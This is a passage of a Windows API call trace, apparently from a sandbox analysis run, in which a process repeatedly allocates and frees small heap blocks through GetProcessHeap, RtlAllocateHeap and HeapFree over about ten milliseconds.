[0063.250] GetProcessHeap () returned 0x540000 [0063.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.250] GetProcessHeap () returned 0x540000 [0063.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.250] GetProcessHeap () returned 0x540000 [0063.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.250] GetProcessHeap () returned 0x540000 [0063.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.250] GetProcessHeap () returned 0x540000 [0063.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.250] GetProcessHeap () returned 0x540000 [0063.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.250] GetProcessHeap () returned 0x540000 [0063.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.250] GetProcessHeap () returned 0x540000 [0063.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.250] GetProcessHeap () returned 0x540000 [0063.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.250] GetProcessHeap () returned 0x540000 [0063.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.250] GetProcessHeap () returned 0x540000 [0063.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.250] GetProcessHeap () returned 0x540000 [0063.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.250] GetProcessHeap () returned 0x540000 [0063.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.250] GetProcessHeap () returned 0x540000 [0063.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.251] GetProcessHeap () returned 0x540000 [0063.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.252] GetProcessHeap () returned 0x540000 [0063.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.253] GetProcessHeap () returned 0x540000 [0063.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.254] GetProcessHeap () returned 0x540000 [0063.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.254] GetProcessHeap () returned 0x540000 [0063.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.254] GetProcessHeap () returned 0x540000 [0063.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.254] GetProcessHeap () returned 0x540000 [0063.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.254] GetProcessHeap () returned 0x540000 [0063.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.254] GetProcessHeap () returned 0x540000 [0063.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.254] GetProcessHeap () returned 0x540000 [0063.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.254] GetProcessHeap () returned 0x540000 [0063.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.254] GetProcessHeap () returned 0x540000 [0063.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.254] GetProcessHeap () returned 0x540000 [0063.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.254] GetProcessHeap () returned 0x540000 [0063.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.254] GetProcessHeap () returned 0x540000 [0063.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.254] GetProcessHeap () returned 0x540000 [0063.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.254] GetProcessHeap () returned 0x540000 [0063.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.254] GetProcessHeap () returned 0x540000 [0063.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.254] GetProcessHeap () returned 0x540000 [0063.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.254] GetProcessHeap () returned 0x540000 [0063.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.254] GetProcessHeap () returned 0x540000 [0063.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.254] GetProcessHeap () returned 0x540000 [0063.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.255] GetProcessHeap () returned 0x540000 [0063.255] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.255] GetProcessHeap () returned 0x540000 [0063.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.255] GetProcessHeap () returned 0x540000 [0063.255] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.255] GetProcessHeap () returned 0x540000 [0063.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.255] GetProcessHeap () returned 0x540000 [0063.255] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.255] GetProcessHeap () returned 0x540000 [0063.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.255] GetProcessHeap () returned 0x540000 [0063.255] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.255] GetProcessHeap () returned 0x540000 [0063.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.255] GetProcessHeap () returned 0x540000 [0063.255] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.255] GetProcessHeap () returned 0x540000 [0063.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.255] GetProcessHeap () returned 0x540000 [0063.255] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.255] GetProcessHeap () returned 0x540000 [0063.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.255] GetProcessHeap () returned 0x540000 [0063.255] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.255] GetProcessHeap () returned 0x540000 [0063.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.255] GetProcessHeap () returned 0x540000 [0063.255] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.255] GetProcessHeap () returned 0x540000 [0063.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.255] GetProcessHeap () returned 0x540000 [0063.255] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.255] GetProcessHeap () returned 0x540000 [0063.255] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.256] GetProcessHeap () returned 0x540000 [0063.256] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.257] GetProcessHeap () returned 0x540000 [0063.257] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.258] GetProcessHeap () returned 0x540000 [0063.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.259] GetProcessHeap () returned 0x540000 [0063.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.260] GetProcessHeap () returned 0x540000 [0063.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 